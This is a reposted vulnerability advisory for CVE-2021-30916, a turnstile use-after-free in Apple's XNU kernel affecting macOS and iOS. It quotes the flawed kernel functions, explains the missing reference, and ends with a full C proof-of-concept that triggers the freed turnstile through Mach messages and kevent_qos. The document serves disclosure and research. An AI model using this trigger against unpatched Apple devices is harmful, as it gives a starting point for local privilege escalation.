XNU kernel object UAF

渗透技巧 2年前 (2022) admin
883 0 0
  • 标题
    XNU kernel object UAF
  • 报告编号
    CBKL-2021-0032
  • 报告日期
    2021-09-02
  • 更新日期
    2022-01-10
  • 厂商
    Apple
  • 影响产品
    macOS, iOS
  • CVE编号
    CVE-2021-30916
  • CVSS分数
  • 已报告天数

漏洞描述

XNU: turnstile use after free

Different turnstile objects will be returned from filt_machport_stash_port() according to
kn_filter and other flags. And the default case is that the kn_hook from knote object
would be fetched, without any reference held[a].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct turnstile *
filt_machport_stash_port(struct knote *kn, ipc_port_t port, int *link)
{
	struct turnstile *ts = TURNSTILE_NULL;

	if (kn->kn_filter == EVFILT_WORKLOOP) {
		assert(kn->kn_mqueue == NULL);
		kn->kn_mqueue = &port->ip_messages;
		ip_reference(port);
		if (link) {
			*link = PORT_SYNC_LINK_WORKLOOP_KNOTE;
		}
		ts = filt_ipc_kqueue_turnstile(kn);
	} else if (!filt_machport_kqueue_has_turnstile(kn)) {
		if (link) {
			*link = PORT_SYNC_LINK_NO_LINKAGE;
		}
	} else if (kn->kn_ext[3] == 0) {
		ip_reference(port);
		kn->kn_ext[3] = (uintptr_t)port;
		ts = filt_ipc_kqueue_turnstile(kn);
		if (link) {
			*link = PORT_SYNC_LINK_WORKLOOP_KNOTE;
		}
	} else {
		ts = (struct turnstile *)kn->kn_hook; // [a]
		if (link) {
			*link = PORT_SYNC_LINK_WORKLOOP_STASH;
		}
	}

	return ts;
}

So what is kn_hook actually represents? It is turnstile, of course, allocated from
filt_machport_turnstile_prepare_lazily()[b].

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void
filt_machport_turnstile_prepare_lazily(
	struct knote *kn,
	mach_msg_type_name_t msgt_name,
	ipc_port_t port)
{
	/* This is called from within filt_machportprocess */
	assert((kn->kn_status & KN_SUPPRESSED) && (kn->kn_status & KN_LOCKED));

	if (!filt_machport_kqueue_has_turnstile(kn)) {
		return;
	}

	if (kn->kn_ext[3] == 0 || kn->kn_hook) {
		return;
	}

	struct turnstile *ts = filt_ipc_kqueue_turnstile(kn);
	if ((msgt_name == MACH_MSG_TYPE_PORT_SEND_ONCE && port->ip_specialreply) ||
	    (msgt_name == MACH_MSG_TYPE_PORT_RECEIVE)) {
		struct turnstile *kn_ts = turnstile_alloc();
		kn_ts = turnstile_prepare((uintptr_t)kn,
		    (struct turnstile **)&kn->kn_hook, kn_ts, TURNSTILE_KNOTE); // [b]
		turnstile_update_inheritor(kn_ts, ts,
		    TURNSTILE_IMMEDIATE_UPDATE | TURNSTILE_INHERITOR_TURNSTILE);
		turnstile_cleanup();
	}
}

At [a], the returned object doesn’t hold any reference while turnstile is actually a reference counted
object.

If we go further and see what happens we could found that the turnstile will be referenced at [c],
but the condition is that the send_turnstile exists which is false under normal circumstances.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
ipc_port_send_turnstile_recompute_push_locked(
	ipc_port_t port)
{
	struct turnstile *send_turnstile = port_send_turnstile(port);
	if (send_turnstile) {
		turnstile_reference(send_turnstile);
		ipc_port_send_update_inheritor(port, send_turnstile,
		    TURNSTILE_IMMEDIATE_UPDATE); // [c]
	}
	imq_unlock(&port->ip_messages);
	ip_unlock(port);

	if (send_turnstile) {
		turnstile_update_inheritor_complete(send_turnstile,
		    TURNSTILE_INTERLOCK_NOT_HELD);
		turnstile_deallocate_safe(send_turnstile);
	}
}

We could send two ports with MACH_MSG_TYPE_MOVE_RECEIVE disposition in a mach message to normal port and use
kevent to receive the message. Then free the knote which also frees the turnstule attached to the knote.

And then the first port in the message body holds a freed turnstile.

发现者

Zweig(@realBrightiup) of Kunlun Lab

漏洞影响

A malicious application may be able to elevate privileges

厂商链接

https://support.apple.com/en-us/HT212867

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#include <assert.h>
#include <errno.h>
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/event.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>

struct kevent_qos_s {
    uint64_t ident;  /* identifier for this event */
    int16_t filter;  /* filter for event */
    uint16_t flags;  /* general flags */
    uint32_t qos;    /* quality of service when servicing event */
    uint64_t udata;  /* opaque user data identifier */
    uint32_t fflags; /* filter-specific flags */
    uint32_t xflags; /* extra filter-specific flags */
    int64_t data;    /* filter-specific data */
    uint64_t ext[4]; /* filter-specific extensions */
};

int kevent_qos(int kq, const struct kevent_qos_s *changelist, int nchanges,
               struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available,
               unsigned int flags);

mach_port_t thread_get_special_reply_port();

// *TODO* Change `main` to any other name and call it on iOS.

int main() {

    int kq = kqueue();
    assert(kq > 0);

#define KNOTE_PORT_COUNT 2

    kern_return_t kr = KERN_SUCCESS;

    mach_port_t sync_port = MACH_PORT_NULL, knote_port[KNOTE_PORT_COUNT] = {MACH_PORT_NULL};
    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sync_port);
    assert(kr == KERN_SUCCESS);
    for (size_t i = 0; i < KNOTE_PORT_COUNT; i++) {
        kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &knote_port[i]);
        assert(kr == KERN_SUCCESS);
    }

    typedef struct sync_knote_msg_local_s sync_knote_msg_local_t;
    typedef struct sync_knote_msg_remote_s sync_knote_msg_remote_t;

#pragma pack(4)
    struct sync_knote_msg_local_s {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_port_descriptor_t port[KNOTE_PORT_COUNT];
        uint64_t sequence;
    };
#pragma pack(0)

#pragma pack(4)
    struct sync_knote_msg_remote_s {
        mach_msg_header_t header;
        mach_msg_body_t body;
        mach_msg_port_descriptor_t port[KNOTE_PORT_COUNT];
        uint64_t sequence;
        mach_msg_trailer_t trailer;
    };
#pragma pack(0)

    union {
        sync_knote_msg_local_t local;
        sync_knote_msg_remote_t remote;
    } message;

    sync_knote_msg_local_t *local = &message.local;
    sync_knote_msg_remote_t *remote = &message.remote;

    local->header = (mach_msg_header_t){
        .msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX),
        .msgh_remote_port = sync_port,
        .msgh_local_port = MACH_PORT_NULL,
        .msgh_voucher_port = MACH_PORT_NULL,
        .msgh_size = sizeof(sync_knote_msg_local_t),
        .msgh_id = 0x88888888,

    };
    local->body.msgh_descriptor_count = KNOTE_PORT_COUNT;
    for (size_t i = 0; i < KNOTE_PORT_COUNT; i++) {
        local->port[i] = (mach_msg_port_descriptor_t){
            .name = knote_port[i],
            .disposition = MACH_MSG_TYPE_MOVE_RECEIVE,
            .type = MACH_MSG_PORT_DESCRIPTOR,

        };
    }
    local->sequence = 0x6666666666666666;

    kr = mach_msg(&local->header, MACH_SEND_MSG, sizeof(sync_knote_msg_local_t), 0, MACH_PORT_NULL,
                  0, MACH_PORT_NULL);
    assert(kr == KERN_SUCCESS);

    struct kevent_qos_s event = {
        .ident = sync_port,
        .filter = EVFILT_MACHPORT,
        .flags = EV_ADD | EV_ENABLE | EV_DISPATCH,
        .qos = 0xA00,
        .udata = 42424242,
        .fflags = MACH_RCV_MSG,
        .xflags = 0x00,
        .data = 0x00,
        .ext = {(uint64_t)remote, sizeof(*remote), 0, 0},
    };

    struct kevent_qos_s out_events[1];

    int nevents = kevent_qos(kq, &event, 1, out_events, 1, NULL, NULL, 0);
    assert(nevents == 1 && remote->sequence == 0x6666666666666666);

    int ret = 0;
    struct kevent_qos_s del_event = {
        .ident = sync_port,
        .filter = EVFILT_MACHPORT,
        .flags = EV_DELETE,
        .qos = 0xA00,
        .udata = 0x00,
        .fflags = MACH_RCV_MSG,
        .xflags = 0x00,
        .data = 0x00,
        .ext = {0, 0, 0, 0},
    };

    ret = kevent_qos(kq, &del_event, 1, NULL, 0, NULL, NULL, 0);
    assert(ret == 0);

    mach_port_t sr_port = thread_get_special_reply_port();
    struct {
        mach_msg_header_t header;
        uint64_t sequence;
    } sync_link_msg = {
        .header =
            {
                .msgh_bits =
                    MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, 0),
                .msgh_remote_port = MACH_PORT_NULL,
                .msgh_local_port = sr_port,
                .msgh_voucher_port = MACH_PORT_NULL,
                .msgh_size = sizeof(sync_link_msg),
                .msgh_id = 0x86868686,
            },
        .sequence = 0x4242424242424242,
    };

    sync_link_msg.header.msgh_remote_port = remote->port[0].name;
    kr = mach_msg(&(sync_link_msg.header), MACH_SEND_MSG | MACH_SEND_SYNC_OVERRIDE,
                  sizeof(sync_link_msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL);
    assert(kr == KERN_SUCCESS);

    return 0;
}

 

 

原文始发于昆仑实验室:XNU kernel object UAF

 

版权声明:admin 发表于 2022年1月11日 下午7:17。
转载请注明:XNU kernel object UAF | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...